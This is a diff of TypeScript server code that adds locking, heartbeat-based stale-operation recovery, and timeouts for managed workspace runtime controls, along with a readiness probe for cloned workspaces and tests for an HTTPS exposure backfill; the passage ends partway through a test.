+export async function runExclusiveWorkspaceRuntimeControl<T>(input: {
+  executionWorkspaceId: string;
+  action: string;
+  run: () => Promise<T>;
+}): Promise<T> {
+  const active = activeRuntimeControls.get(input.executionWorkspaceId);
+  if (active) {
+    throw conflict("A managed runtime control operation is already in progress for this execution workspace.", {
+      code: "workspace_runtime_control_in_progress",
+      executionWorkspaceId: input.executionWorkspaceId,
+      activeAction: active.action,
+      requestedAction: input.action,
+      startedAt: active.startedAt.toISOString(),
+      remediation: "Wait for the active operation to reach a terminal state before retrying.",
+    });
+  }
+
+  const claim = { action: input.action, startedAt: new Date() };
+  activeRuntimeControls.set(input.executionWorkspaceId, claim);
+  try {
+    return await input.run();
+  } finally {
+    if (activeRuntimeControls.get(input.executionWorkspaceId) === claim) {
+      activeRuntimeControls.delete(input.executionWorkspaceId);
+    }
+  }
+}
+
+export function resetWorkspaceRuntimeControlLocksForTests() {
+  activeRuntimeControls.clear();
+}
+
 function toWorkspaceOperation(row: WorkspaceOperationRow): WorkspaceOperation {
   return {
     id: row.id,
@@ -59,7 +229,15 @@ export interface WorkspaceOperationRecorder {
     command?: string | null;
     cwd?: string | null;
     metadata?: Record<string, unknown> | null;
-    run: () => Promise<{
+    /**
+     * Wall-clock ceiling for `run`. On expiry the operation is failed (terminal) and the
+     * timeout error is rethrown, so a hung provider can never leave an active operation.
+     */
+    timeoutMs?: number | null;
+    run: (reportProgress: (input: {
+      metadata?: Record<string, unknown> | null;
+      system?: string | null;
+    }) => Promise<void>) => Promise<{
       status?: WorkspaceOperationStatus;
       exitCode?: number | null;
       stdout?: string | null;
@@ -83,9 +261,182 @@ export function workspaceOperationService(db: Db) {
     return row ? toWorkspaceOperation(row) : null;
   }
 
+  /**
+   * Terminalize `running` managed runtime-control operations that no live owner can still
+   * be driving, and return the ones that are genuinely still live.
+   *
+   * Recovery is bounded on both axes: an operation owned by another server process is only
+   * reclaimed after {@link RUNTIME_CONTROL_STALE_AFTER_MS} without a heartbeat, and the
+   * terminalizing UPDATE is a compare-and-swap on `updated_at`, so an owner that heartbeats
+   * concurrently keeps its operation. Only this process's own abandoned operations (owned
+   * by us but no longer tracked in-process) are reclaimed without waiting.
+   */
+  async function sweepRuntimeControlOperations(
+    executionWorkspaceId: string | null | undefined,
+    options?: { now?: Date; staleAfterMs?: number },
+  ) {
+    const now = options?.now ?? new Date();
+    const staleAfterMs = options?.staleAfterMs ?? RUNTIME_CONTROL_STALE_AFTER_MS;
+    const candidates = await db
+      .select()
+      .from(workspaceOperations)
+      .where(
+        executionWorkspaceId
+          ? and(
+              eq(workspaceOperations.executionWorkspaceId, executionWorkspaceId),
+              eq(workspaceOperations.status, "running"),
+            )
+          : eq(workspaceOperations.status, "running"),
+      );
+
+    const reconciledIds: string[] = [];
+    const live: WorkspaceOperation[] = [];
+
+    for (const candidate of candidates) {
+      const action = readRuntimeControlAction(candidate.metadata);
+      if (!action) continue;
+
+      const owner = readRuntimeControlOwner(candidate.metadata);
+      const lastSignalAt = owner
+        ? new Date(owner.heartbeatAt)
+        : (candidate.updatedAt ?? candidate.startedAt ?? new Date(0));
+      const silentForMs = now.getTime() - lastSignalAt.getTime();
+
+      const ownedByThisProcess = owner?.ownerId === RUNTIME_CONTROL_OWNER_ID;
+      const abandonedByThisProcess = ownedByThisProcess && !liveRuntimeControlOperationIds.has(candidate.id);
+      const ownedHereAndLive = ownedByThisProcess && liveRuntimeControlOperationIds.has(candidate.id);
+      // A previous server process that no longer exists cannot heartbeat again, so its
+      // operations are recoverable at once instead of after the staleness window.
+      const ownerProcessGone = owner !== null && !ownedByThisProcess && !ownerProcessIsAlive(owner.pid);
+
+      if (ownedHereAndLive) {
+        // This process is driving it right now; its own time budget is what terminalizes it.
+        live.push(toWorkspaceOperation(candidate));
+        continue;
+      }
+      if (!abandonedByThisProcess && !ownerProcessGone && silentForMs < staleAfterMs) {
+        live.push(toWorkspaceOperation(candidate));
+        continue;
+      }
+
+      const finishedAt = new Date();
+      const reconciliationMessage =
+        `Reconciled stale managed runtime ${action} operation: ${
+          ownerProcessGone
+            ? `the owning server process (pid ${owner?.pid}) is gone`
+            : abandonedByThisProcess
+              ? "the owning request no longer exists"
+              : `no live owner has reported progress for ${Math.round(silentForMs / 1000)}s`
+        }, so the operation was failed to release the execution workspace for retry or stop.\n`;
+      // Compare-and-swap on `updated_at`: a live owner that heartbeats between the read and
+      // this write moves the column and keeps its operation.
+      const claimed = await db
+        .update(workspaceOperations)
+        .set({
+          status: "failed",
+          stderrExcerpt: appendExcerpt(candidate.stderrExcerpt ?? "", reconciliationMessage),
+          metadata: combineMetadata(candidate.metadata as Record<string, unknown> | null, {
+            reconciled: true,
+            reconciliationReason: abandonedByThisProcess
+              ? "abandoned_runtime_control"
+              : "orphaned_runtime_control",
+            reconciledAt: finishedAt.toISOString(),
+          }),
+          finishedAt,
+          updatedAt: finishedAt,
+        })
+        .where(
+          and(
+            eq(workspaceOperations.id, candidate.id),
+            eq(workspaceOperations.status, "running"),
+            candidate.updatedAt
+              ? updatedAtUnchanged(candidate.updatedAt)
+              : isNull(workspaceOperations.updatedAt),
+          ),
+        )
+        .returning({ id: workspaceOperations.id })
+        .then((rows) => rows[0] ?? null);
+      if (!claimed) {
+        // Someone else moved the row; re-read so callers see the current truth.
+        const refreshed = await getById(candidate.id);
+        if (refreshed?.status === "running") live.push(refreshed);
+        continue;
+      }
+
+      liveRuntimeControlOperationIds.delete(candidate.id);
+      reconciledIds.push(candidate.id);
+
+      if (candidate.logStore && candidate.logRef) {
+        const handle = {
+          store: candidate.logStore as "local_file",
+          logRef: candidate.logRef,
+        };
+        try {
+          await logStore.append(handle, {
+            stream: "stderr",
+            chunk: reconciliationMessage,
+            ts: finishedAt.toISOString(),
+          });
+          const finalized = await logStore.finalize(handle);
+          await db
+            .update(workspaceOperations)
+            .set({
+              logBytes: finalized.bytes,
+              logSha256: finalized.sha256,
+              logCompressed: finalized.compressed,
+              updatedAt: new Date(),
+            })
+            .where(eq(workspaceOperations.id, candidate.id));
+        } catch {
+          // The terminal row and stderr excerpt stay inspectable even when the external log
+          // file from the previous process is gone.
+        }
+      }
+    }
+
+    return { reconciled: reconciledIds.length, operationIds: reconciledIds, live };
+  }
+
   return {
     getById,
 
+    /**
+     * Bounded recovery entrypoint. Safe to call on startup and before every managed control.
+     */
+    async reconcileStaleRuntimeControlOperations(
+      executionWorkspaceId?: string | null,
+      options?: { now?: Date; staleAfterMs?: number },
+    ) {
+      const result = await sweepRuntimeControlOperations(executionWorkspaceId, options);
+      return { reconciled: result.reconciled, operationIds: result.operationIds };
+    },
+
+    /**
+     * Refuse a managed runtime control while another one is genuinely live for the same
+     * execution workspace. Stale operations are recovered first, so a workspace stranded by
+     * a dead request or a previous server process becomes controllable again on its own.
+     */
+    async assertRuntimeControlAvailable(input: {
+      executionWorkspaceId: string;
+      action: string;
+      options?: { now?: Date; staleAfterMs?: number };
+    }) {
+      const { live } = await sweepRuntimeControlOperations(input.executionWorkspaceId, input.options);
+      const blocking = live[0];
+      if (!blocking) return;
+      const owner = readRuntimeControlOwner(blocking.metadata);
+      throw conflict("A managed runtime control operation is already in progress for this execution workspace.", {
+        code: "workspace_runtime_control_in_progress",
+        executionWorkspaceId: input.executionWorkspaceId,
+        activeAction: readRuntimeControlAction(blocking.metadata) ?? owner?.action ?? null,
+        requestedAction: input.action,
+        activeOperationId: blocking.id,
+        startedAt: blocking.startedAt instanceof Date ? blocking.startedAt.toISOString() : blocking.startedAt,
+        remediation:
+          "Wait for the active operation to reach a terminal state before retrying; abandoned operations are recovered automatically.",
+      });
+    },
+
     createRecorder(input: {
       companyId: string;
       heartbeatRunId?: string | null;
@@ -133,28 +484,115 @@ export function workspaceOperationService(db: Db) {
             });
           };
 
-          await db.insert(workspaceOperations).values({
-            id,
-            companyId: input.companyId,
-            executionWorkspaceId,
-            heartbeatRunId: input.heartbeatRunId ?? null,
-            issueId: input.issueId ?? null,
-            phase: recordInput.phase,
-            command: recordInput.command ?? null,
-            cwd: recordInput.cwd ?? null,
-            status: "running",
-            logStore: handle.store,
-            logRef: handle.logRef,
-            metadata: redactCurrentUserValue(
-              recordInput.metadata ?? null,
-              currentUserRedactionOptions,
-            ) as Record<string, unknown> | null,
-            startedAt,
-          });
-          createdIds.push(id);
+          // Managed runtime controls get an ownership stamp so bounded recovery can tell a
+          // slow-but-live operation from one abandoned by a dead request or server process.
+          const runtimeControlAction = readRuntimeControlAction(recordInput.metadata);
+          let currentMetadata = runtimeControlAction
+            ? {
+                ...(recordInput.metadata ?? {}),
+                runtimeControlOwner: {
+                  ownerId: RUNTIME_CONTROL_OWNER_ID,
+                  pid: process.pid,
+                  action: runtimeControlAction,
+                  heartbeatAt: startedAt.toISOString(),
+                } satisfies RuntimeControlOwnerStamp,
+              }
+            : recordInput.metadata ?? null;
+
+          // Claim in-process before the row exists, so there is no ordering in which a recovery
+          // sweep can observe an operation stamped by this process but not yet tracked by it —
+          // which is the one state that would let recovery terminalize a genuinely live start.
+          if (runtimeControlAction) liveRuntimeControlOperationIds.add(id);
 
           try {
-            const result = await recordInput.run();
+            await db.insert(workspaceOperations).values({
+              id,
+              companyId: input.companyId,
+              executionWorkspaceId,
+              heartbeatRunId: input.heartbeatRunId ?? null,
+              issueId: input.issueId ?? null,
+              phase: recordInput.phase,
+              command: recordInput.command ?? null,
+              cwd: recordInput.cwd ?? null,
+              status: "running",
+              logStore: handle.store,
+              logRef: handle.logRef,
+              metadata: redactCurrentUserValue(
+                currentMetadata,
+                currentUserRedactionOptions,
+              ) as Record<string, unknown> | null,
+              startedAt,
+              updatedAt: startedAt,
+            });
+          } catch (insertError) {
+            liveRuntimeControlOperationIds.delete(id);
+            throw insertError;
+          }
+          createdIds.push(id);
+
+          let heartbeatTimer: NodeJS.Timeout | null = null;
+          let timeoutTimer: NodeJS.Timeout | null = null;
+          if (runtimeControlAction) {
+            heartbeatTimer = setInterval(() => {
+              const heartbeatAt = new Date();
+              currentMetadata = combineMetadata(currentMetadata, {
+                runtimeControlOwner: {
+                  ownerId: RUNTIME_CONTROL_OWNER_ID,
+                  pid: process.pid,
+                  action: runtimeControlAction,
+                  heartbeatAt: heartbeatAt.toISOString(),
+                } satisfies RuntimeControlOwnerStamp,
+              });
+              void db
+                .update(workspaceOperations)
+                .set({
+                  metadata: redactCurrentUserValue(
+                    currentMetadata,
+                    currentUserRedactionOptions,
+                  ) as Record<string, unknown> | null,
+                  updatedAt: heartbeatAt,
+                })
+                .where(and(eq(workspaceOperations.id, id), eq(workspaceOperations.status, "running")))
+                .catch(() => undefined);
+            }, RUNTIME_CONTROL_HEARTBEAT_MS);
+            heartbeatTimer.unref?.();
+          }
+
+          const reportProgress = async (progress: {
+            metadata?: Record<string, unknown> | null;
+            system?: string | null;
+          }) => {
+            await append("system", progress.system ?? null);
+            currentMetadata = combineMetadata(currentMetadata, progress.metadata);
+            await db
+              .update(workspaceOperations)
+              .set({
+                metadata: redactCurrentUserValue(
+                  currentMetadata,
+                  currentUserRedactionOptions,
+                ) as Record<string, unknown> | null,
+                stdoutExcerpt: stdoutExcerpt || null,
+                stderrExcerpt: stderrExcerpt || null,
+                updatedAt: new Date(),
+              })
+              .where(and(eq(workspaceOperations.id, id), eq(workspaceOperations.status, "running")));
+          };
+
+          const timeoutMs = recordInput.timeoutMs ?? defaultRuntimeControlTimeoutMs(runtimeControlAction);
+          const settle = async () => {
+            if (!timeoutMs || timeoutMs <= 0) return await recordInput.run(reportProgress);
+            const timeout = new Promise<never>((_resolve, reject) => {
+              timeoutTimer = setTimeout(
+                () => reject(new WorkspaceOperationTimeoutError(timeoutMs, runtimeControlAction)),
+                timeoutMs,
+              );
+              timeoutTimer.unref?.();
+            });
+            return await Promise.race([recordInput.run(reportProgress), timeout]);
+          };
+
+          try {
+            const result = await settle();
             await append("system", result.system ?? null);
             await append("stdout", result.stdout ?? null);
             await append("stderr", result.stderr ?? null);
@@ -172,7 +610,7 @@ export function workspaceOperationService(db: Db) {
                 logSha256: finalized.sha256,
                 logCompressed: finalized.compressed,
                 metadata: redactCurrentUserValue(
-                  combineMetadata(recordInput.metadata, result.metadata),
+                  combineMetadata(currentMetadata, result.metadata),
                   currentUserRedactionOptions,
                 ) as Record<string, unknown> | null,
                 finishedAt,
@@ -197,11 +635,31 @@ export function workspaceOperationService(db: Db) {
                 logBytes: finalized?.bytes ?? null,
                 logSha256: finalized?.sha256 ?? null,
                 logCompressed: finalized?.compressed ?? false,
+                // Only managed controls carry a failure reason; other phases keep the metadata
+                // they were recorded with.
+                ...(runtimeControlAction
+                  ? {
+                      metadata: redactCurrentUserValue(
+                        combineMetadata(currentMetadata, {
+                          failureReason: error instanceof WorkspaceOperationTimeoutError
+                            ? "runtime_control_timeout"
+                            : "runtime_control_error",
+                        }),
+                        currentUserRedactionOptions,
+                      ) as Record<string, unknown> | null,
+                    }
+                  : {}),
                 finishedAt,
                 updatedAt: finishedAt,
               })
               .where(eq(workspaceOperations.id, id));
             throw error;
+          } finally {
+            // Releasing the in-process claim before the request unwinds is what lets the very
+            // next control call proceed, and lets recovery treat a leftover row as abandoned.
+            if (heartbeatTimer) clearInterval(heartbeatTimer);
+            if (timeoutTimer) clearTimeout(timeoutTimer);
+            liveRuntimeControlOperationIds.delete(id);
           }
         },
       };
diff --git a/server/src/services/workspace-readiness.ts b/server/src/services/workspace-readiness.ts
new file mode 100644
index 00000000000..500124850c9
--- /dev/null
+++ b/server/src/services/workspace-readiness.ts
@@ -0,0 +1,296 @@
+/**
+ * Protected workspace readiness (PAP-17572).
+ *
+ * `/api/health` answering 200 only proves a listener exists. This module answers
+ * the question the control plane and the UI actually need — "can a board user
+ * open this clone and see their data?" — from four independent signals: the
+ * isolated database, the versioned seed manifest, representative cloned rows,
+ * and the login-handoff configuration.
+ *
+ * Everything here is read-only and deliberately small: structural validation of
+ * a clone happens once, during provisioning or repair, not on every probe.
+ *
+ * `repairing` is intentionally not derivable here. A guest process cannot know
+ * that the control plane is running a managed repair against it; the UI layers
+ * that state on from the live workspace-operation row.
+ */
+
+import { existsSync, readFileSync } from "node:fs";
+import path from "node:path";
+import { and, eq, sql } from "drizzle-orm";
+import type { Db } from "@paperclipai/db";
+import { authUsers, companies, companyMemberships, issues } from "@paperclipai/db";
+import type {
+  WorkspaceReadiness,
+  WorkspaceReadinessState,
+  WorkspaceSeedReadinessState,
+} from "@paperclipai/shared";
+import {
+  resolveWorkspaceHandoffLocalCompanyId,
+  resolveWorkspaceHandoffLocalKey,
+  resolveWorkspaceHandoffLocalWorkspaceId,
+} from "../auth/workspace-login-handoff.js";
+import { resolvePaperclipInstanceId } from "../home-paths.js";
+import { logger } from "../middleware/logger.js";
+
+const WORKSPACE_SEED_MANIFEST_BASENAME = "seed-manifest.json";
+const LEGACY_SEED_PENDING_BASENAME = "seed-pending";
+const LEGACY_SEED_COMPLETE_BASENAME = "seed-complete";
+
+type SeedManifestSummary = {
+  state: WorkspaceSeedReadinessState;
+  phase: string | null;
+  mode: "minimal" | "full" | null;
+  failurePhase: string | null;
+};
+
+/**
+ * Directory holding this instance's seed markers.
+ *
+ * `PAPERCLIP_CONFIG` is the authoritative pointer a seeded worktree is started
+ * with; the cwd fallback covers a guest launched without it.
+ */
+export function resolveWorkspaceSeedMarkerDir(env: NodeJS.ProcessEnv = process.env): string {
+  const configPath = env.PAPERCLIP_CONFIG?.trim();
+  if (configPath) return path.dirname(path.resolve(configPath));
+  return path.resolve(process.cwd(), ".paperclip");
+}
+
+function readSeedManifestSummary(markerDir: string): SeedManifestSummary {
+  const manifestPath = path.join(markerDir, WORKSPACE_SEED_MANIFEST_BASENAME);
+  if (existsSync(manifestPath)) {
+    let manifest: Record<string, unknown>;
+    try {
+      manifest = JSON.parse(readFileSync(manifestPath, "utf8")) as Record<string, unknown>;
+    } catch {
+      // A manifest we cannot parse is evidence of an interrupted write, which is
+      // a failure — never a silent "assume seeded".
+      return { state: "failed", phase: null, mode: null, failurePhase: "seed_manifest_unreadable" };
+    }
+    const rawState = typeof manifest.state === "string" ? manifest.state : null;
+    const state: WorkspaceSeedReadinessState =
+      rawState === "pending" || rawState === "running" || rawState === "verified" || rawState === "failed"
+        ? rawState
+        : "unknown";
+    const phase = typeof manifest.phase === "string" ? manifest.phase : null;
+    const mode = manifest.seedMode === "minimal" || manifest.seedMode === "full" ? manifest.seedMode : null;
+    return {
+      state,
+      phase,
+      mode,
+      failurePhase: state === "failed" ? phase ?? "unknown" : null,
+    };
+  }
+
+  // Legacy markers predate the versioned manifest. `seed-complete`, or the
+  // absence of both markers on an already-running instance, means an adopted
+  // legacy clone whose completeness this probe cannot prove.
+  if (existsSync(path.join(markerDir, LEGACY_SEED_PENDING_BASENAME))) {
+    return { state: "pending", phase: "pending", mode: null, failurePhase: null };
+  }
+  if (existsSync(path.join(markerDir, LEGACY_SEED_COMPLETE_BASENAME))) {
+    return { state: "unknown", phase: "legacy_complete_marker", mode: null, failurePhase: null };
+  }
+  return { state: "absent", phase: null, mode: null, failurePhase: null };
+}
+
+/**
+ * Collapse the individual signals into one state.
+ *
+ * `degraded` is reserved for "the clone exists and was verified, but a signal
+ * regressed", which is the case an operator can fix with one bounded repair.
+ * A clone that never finished reports `provisioning`/`validating`/`failed`
+ * instead, so the UI never offers a repair for work that is still in progress.
+ */
+export function resolveWorkspaceReadinessState(input: {
+  databaseReady: boolean;
+  cloneDataReady: boolean;
+  authHandoffReady: boolean;
+  seedState: WorkspaceSeedReadinessState;
+}): WorkspaceReadinessState {
+  if (input.seedState === "failed") return "failed";
+  if (input.seedState === "pending") return "provisioning";
+  if (input.seedState === "running") return "provisioning";
+  if (!input.databaseReady) return input.seedState === "verified" ? "degraded" : "provisioning";
+  if (!input.cloneDataReady || !input.authHandoffReady) {
+    return input.seedState === "verified" ? "degraded" : "validating";
+  }
+  // Cloned data and handoff both check out. A legacy or absent manifest is not
+  // proof of a verified seed, so surface it as validating rather than ready.
+  if (input.seedState !== "verified") return "validating";
+  return "ready";
+}
+
+/**
+ * Whether this process is a cloned workspace instance at all.
+ *
+ * The primary control plane has no seed manifest and no injected workspace
+ * identity, and reporting a hollow readiness block for it would invite consumers
+ * to treat "no clone" as "broken clone". Detection is by evidence on disk or
+ * injected identity, never by a branch-name or path heuristic.
+ */
+let managedWorkspaceInstanceCache: { markerDir: string; value: boolean; checkedAtMs: number } | null = null;
+
+/**
+ * How long the marker-file answer is reused. `/api/health` is polled by the dev
+ * runner, the control plane's readiness probe and the UI, so three `existsSync`
+ * calls per request would be pure overhead on an instance whose answer is
+ * effectively static. Short enough that a manifest appearing mid-provision is
+ * picked up promptly.
+ */
+const MANAGED_WORKSPACE_DETECTION_TTL_MS = 5_000;
+
+export function isManagedWorkspaceInstance(
+  env: NodeJS.ProcessEnv = process.env,
+  now: () => number = Date.now,
+): boolean {
+  // Injected identity is authoritative and free to read, so it short-circuits
+  // ahead of any filesystem work.
+  if (resolveWorkspaceHandoffLocalKey(env)) return true;
+  if (resolveWorkspaceHandoffLocalWorkspaceId(env)) return true;
+
+  const markerDir = resolveWorkspaceSeedMarkerDir(env);
+  const cached = managedWorkspaceInstanceCache;
+  if (
+    cached
+    && cached.markerDir === markerDir
+    && now() - cached.checkedAtMs < MANAGED_WORKSPACE_DETECTION_TTL_MS
+  ) {
+    return cached.value;
+  }
+  const value = existsSync(path.join(markerDir, WORKSPACE_SEED_MANIFEST_BASENAME))
+    || existsSync(path.join(markerDir, LEGACY_SEED_PENDING_BASENAME))
+    || existsSync(path.join(markerDir, LEGACY_SEED_COMPLETE_BASENAME));
+  managedWorkspaceInstanceCache = { markerDir, value, checkedAtMs: now() };
+  return value;
+}
+
+/** Test-only seam so a suite can change marker files without waiting out the TTL. */
+export function resetManagedWorkspaceInstanceCacheForTests(): void {
+  managedWorkspaceInstanceCache = null;
+}
+
+export type WorkspaceReadinessDeps = {
+  db: Db | null | undefined;
+  env?: NodeJS.ProcessEnv;
+  handoffSubject?: { userId: string; email: string } | null;
+};
+
+/**
+ * Assemble this instance's readiness. Never throws: a probe that cannot read the
+ * database must report `databaseReady: false`, not fail the health endpoint.
+ */
+export async function resolveWorkspaceReadiness(deps: WorkspaceReadinessDeps): Promise<WorkspaceReadiness> {
+  const env = deps.env ?? process.env;
+  const seed = readSeedManifestSummary(resolveWorkspaceSeedMarkerDir(env));
+  const instanceId = resolvePaperclipInstanceId();
+  const executionWorkspaceId = resolveWorkspaceHandoffLocalWorkspaceId(env);
+  // The company this workspace's board represents. Both product probes below are
+  // scoped to it: "some company in the clone has issues" and "some user has some
+  // membership" can both be true while the company the operator is opening is
+  // missing or has no members, which is a workspace that must not report ready.
+  const companyId = resolveWorkspaceHandoffLocalCompanyId(env);
+  const handoffKeyPresent = Boolean(resolveWorkspaceHandoffLocalKey(env));
+  const handoffUserId = deps.handoffSubject?.userId.trim() || null;
+  const handoffUserEmail = deps.handoffSubject?.email.trim().toLowerCase() || null;
+
+  let databaseReady = false;
+  let cloneDataReady = false;
+  let clonedAdminPresent = false;
+  let probeFailurePhase: string | null = null;
+
+  if (deps.db) {
+    try {
+      await deps.db.execute(sql`SELECT 1`);
+      databaseReady = true;
+    } catch (error) {
+      logger.warn({ err: error }, "workspace readiness database probe failed");
+      probeFailurePhase = "database_unreachable";
+    }
+
+    if (databaseReady && companyId) {
+      try {
+        // One representative cloned company/issue pair proves the restore carried
+        // product rows, not just an empty migrated schema.
+        const clonedRows = await deps.db
+          .select({ companyId: companies.id })
+          .from(companies)
+          .innerJoin(issues, eq(issues.companyId, companies.id))
+          .where(eq(companies.id, companyId))
+          .limit(1)
+          .then((rows) => rows.length);
+        cloneDataReady = clonedRows > 0;
+        if (!cloneDataReady) probeFailurePhase ??= "clone_data_missing";
+      } catch (error) {
+        logger.warn({ err: error }, "workspace readiness clone-data probe failed");
+        probeFailurePhase ??= "clone_data_unreadable";
+      }
+
+      try {
+        // The handoff can only sign in a user who survived the clone with an
+        // active membership *in this workspace's company*, so readiness asserts
+        // that identity exists here rather than discovering it at click time.
+        // Existence, not a count: this runs on every protected health request and
+        // counting the whole join would scale with instance size for an answer
+        // that needs one row.
+        const eligibleUsers = await deps.db
+          .select({ userId: authUsers.id })
+          .from(authUsers)
+          .innerJoin(
+            companyMemberships,
+            and(
+              eq(companyMemberships.principalType, "user"),
+              eq(companyMemberships.principalId, authUsers.id),
+              eq(companyMemberships.status, "active"),
+              eq(companyMemberships.companyId, companyId),
+              ...(handoffUserId ? [eq(authUsers.id, handoffUserId)] : []),
+              ...(handoffUserEmail ? [sql`lower(${authUsers.email}) = ${handoffUserEmail}`] : []),
+            ),
+          )
+          .limit(1)
+          .then((rows) => rows.length);
+        clonedAdminPresent = eligibleUsers > 0;
+        if (!clonedAdminPresent) probeFailurePhase ??= "cloned_membership_missing";
+      } catch (error) {
+        logger.warn({ err: error }, "workspace readiness identity probe failed");
+        probeFailurePhase ??= "cloned_identity_unreadable";
+      }
+    }
+  } else {
+    probeFailurePhase = "database_not_configured";
+  }
+
+  const authHandoffReady = Boolean(
+    handoffKeyPresent
+    && executionWorkspaceId
+    && companyId
+    && clonedAdminPresent,
+  );
+  if (!companyId) probeFailurePhase ??= "workspace_company_not_configured";
+  if (!executionWorkspaceId) probeFailurePhase ??= "workspace_identity_not_configured";
+  if (!handoffKeyPresent) probeFailurePhase ??= "auth_handoff_not_configured";
+
+  const state = resolveWorkspaceReadinessState({
+    databaseReady,
+    cloneDataReady,
+    authHandoffReady,
+    seedState: seed.state,
+  });
+
+  return {
+    state,
+    databaseReady,
+    cloneDataReady,
+    authHandoffReady,
+    authHandoffUserId: handoffUserId,
+    seedState: seed.state,
+    seedPhase: seed.phase,
+    seedMode: seed.mode,
+    instanceId,
+    executionWorkspaceId,
+    companyId,
+    // A seed-recorded failure phase is more specific than anything this probe
+    // can infer, so it wins.
+    failurePhase: seed.failurePhase ?? (state === "ready" ? null : probeFailurePhase),
+  };
+}
diff --git a/server/src/services/workspace-realization.ts b/server/src/services/workspace-realization.ts
index f4938decc39..8f908d33003 100644
--- a/server/src/services/workspace-realization.ts
+++ b/server/src/services/workspace-realization.ts
@@ -344,6 +344,7 @@ export function buildWorkspaceRealizationRecordFromDriverInput(input: {
         worktreePath: null,
         warnings: [],
         created: false,
+        branchCreatedByRuntime: false,
       },
       workspaceConfig: null,
     });
diff --git a/server/src/services/workspace-runtime-exposure-backfill.test.ts b/server/src/services/workspace-runtime-exposure-backfill.test.ts
new file mode 100644
index 00000000000..3d7df09ff40
--- /dev/null
+++ b/server/src/services/workspace-runtime-exposure-backfill.test.ts
@@ -0,0 +1,182 @@
+/**
+ * Backfill decision coverage for PAP-17158.
+ *
+ * `decideManagedRuntimeExposureBackfill` is the whole contract for which
+ * pre-feature workspaces get upgraded to HTTPS in place and which are left
+ * alone, so each branch is asserted by its reason code rather than only by the
+ * resulting action.
+ */
+import { describe, expect, it } from "vitest";
+
+import {
+  decideManagedRuntimeExposureBackfill,
+  decideStaleExposureReclaim,
+} from "./workspace-runtime.js";
+
+/** A persisted, running, pre-feature Paperclip App dev runtime. */
+function httpOnlyRunningRow(overrides: Partial<Parameters<typeof decideManagedRuntimeExposureBackfill>[0]> = {}) {
+  return {
+    mode: "auto" as const,
+    brokerAvailable: true,
+    provider: "local_process",
+    serviceName: "paperclip-dev",
+    command: "pnpm dev --bind lan",
+    status: "running",
+    hasExposure: false,
+    declaredIntent: "unset" as const,
+    ...overrides,
+  };
+}
+
+describe("decideManagedRuntimeExposureBackfill", () => {
+  it("reprovisions a running HTTP-only managed worktree runtime", () => {
+    expect(decideManagedRuntimeExposureBackfill(httpOnlyRunningRow())).toEqual({
+      action: "reprovision",
+      reason: "http_only_managed_service",
+    });
+  });
+
+  it("reprovisions a service that is mid-start as well as one already running", () => {
+    for (const status of ["provisioning", "starting", "running"]) {
+      expect(decideManagedRuntimeExposureBackfill(httpOnlyRunningRow({ status })).action).toBe("reprovision");
+    }
+  });
+
+  it("leaves a stopped service to pick the default up on its next start", () => {
+    expect(decideManagedRuntimeExposureBackfill(httpOnlyRunningRow({ status: "stopped" }))).toEqual({
+      action: "keep",
+      reason: "stopped_defaults_on_next_start",
+    });
+  });
+
+  it("preserves a deliberate opt-out", () => {
+    expect(decideManagedRuntimeExposureBackfill(httpOnlyRunningRow({ declaredIntent: "disabled" }))).toEqual({
+      action: "keep",
+      reason: "deliberate_opt_out",
+    });
+  });
+
+  it("is idempotent: a row that already carries exposure state is never re-driven", () => {
+    expect(decideManagedRuntimeExposureBackfill(httpOnlyRunningRow({ hasExposure: true }))).toEqual({
+      action: "keep",
+      reason: "already_exposed",
+    });
+    // Repeated deploys see the same row and must keep converging on "keep".
+    expect(decideManagedRuntimeExposureBackfill(httpOnlyRunningRow({ hasExposure: true })).action).toBe("keep");
+  });
+
+  it("leaves unmanaged and custom services alone", () => {
+    expect(decideManagedRuntimeExposureBackfill(httpOnlyRunningRow({
+      serviceName: "preview",
+      command: "pnpm vite",
+    }))).toEqual({ action: "keep", reason: "unmanaged_or_custom_service" });
+  });
+
+  it("leaves external (non local_process) runtime services alone", () => {
+    expect(decideManagedRuntimeExposureBackfill(httpOnlyRunningRow({ provider: "external" }))).toEqual({
+      action: "keep",
+      reason: "not_a_managed_local_process",
+    });
+  });
+
+  it("does nothing when the automatic default is switched off", () => {
+    expect(decideManagedRuntimeExposureBackfill(httpOnlyRunningRow({ mode: "off" }))).toEqual({
+      action: "keep",
+      reason: "https_default_disabled",
+    });
+  });
+
+  it("skips the backfill when the host broker is unavailable, unless forced", () => {
+    expect(decideManagedRuntimeExposureBackfill(httpOnlyRunningRow({ brokerAvailable: false }))).toEqual({
+      action: "keep",
+      reason: "broker_unavailable",
+    });
+    expect(
+      decideManagedRuntimeExposureBackfill(httpOnlyRunningRow({ brokerAvailable: false, mode: "force" })).action,
+    ).toBe("reprovision");
+  });
+
+  it("never takes down a row it cannot restart from a configured entry", () => {
+    expect(decideManagedRuntimeExposureBackfill(httpOnlyRunningRow({ declaredIntent: null }))).toEqual({
+      action: "keep",
+      reason: "no_configured_service_entry",
+    });
+  });
+
+  it("reprovisions an explicit opt-in that is somehow running without exposure", () => {
+    expect(
+      decideManagedRuntimeExposureBackfill(httpOnlyRunningRow({ declaredIntent: "enabled" })).action,
+    ).toBe("reprovision");
+  });
+
+  it("checks the opt-out before broker availability so an opt-out never depends on host state", () => {
+    expect(
+      decideManagedRuntimeExposureBackfill(httpOnlyRunningRow({
+        declaredIntent: "disabled",
+        brokerAvailable: false,
+      })).reason,
+    ).toBe("deliberate_opt_out");
+  });
+});
+
+/**
+ * PAP-17285 regression coverage for the global startup exposure sweep.
+ *
+ * A server restart at 12:25:49 UTC deleted the operator-preserved `42000/52000`
+ * Serve mappings by issuing broker removals for two stale `stopped` rows — 2 and
+ * 3 days old, both claiming the same recycled pair — purely on those rows'
+ * authority. The sweep spans every execution workspace and company on the host
+ * and runs on every start, so "trust the row" is an unbounded delete primitive.
+ * These pin the corroboration contract that replaced it.
+ */
+const RUNTIME = "c4a0f1d8-be27-4f95-970e-443fe4a517b7";
+const OTHER_RUNTIME = "c0cca855-0d56-47fc-beca-9f3e3b8d341f";
+
+describe("decideStaleExposureReclaim", () => {
+  it("defers instead of removing when the broker cannot be reached", () => {
+    // Unreachable broker proves nothing. Fail closed toward preservation: a
+    // mapping we cannot attribute must never be deleted on a guess.
+    expect(decideStaleExposureReclaim({ runtimeId: RUNTIME, ownedListeners: null })).toEqual({
+      action: "defer",
+      reason: "broker_unreachable",
+    });
+  });
+
+  it("clears stale bookkeeping WITHOUT a Serve mutation when the broker owns nothing for the runtime", () => {
+    // The 12:28:19 row: 3 days old, claiming a pair that had since been recycled.
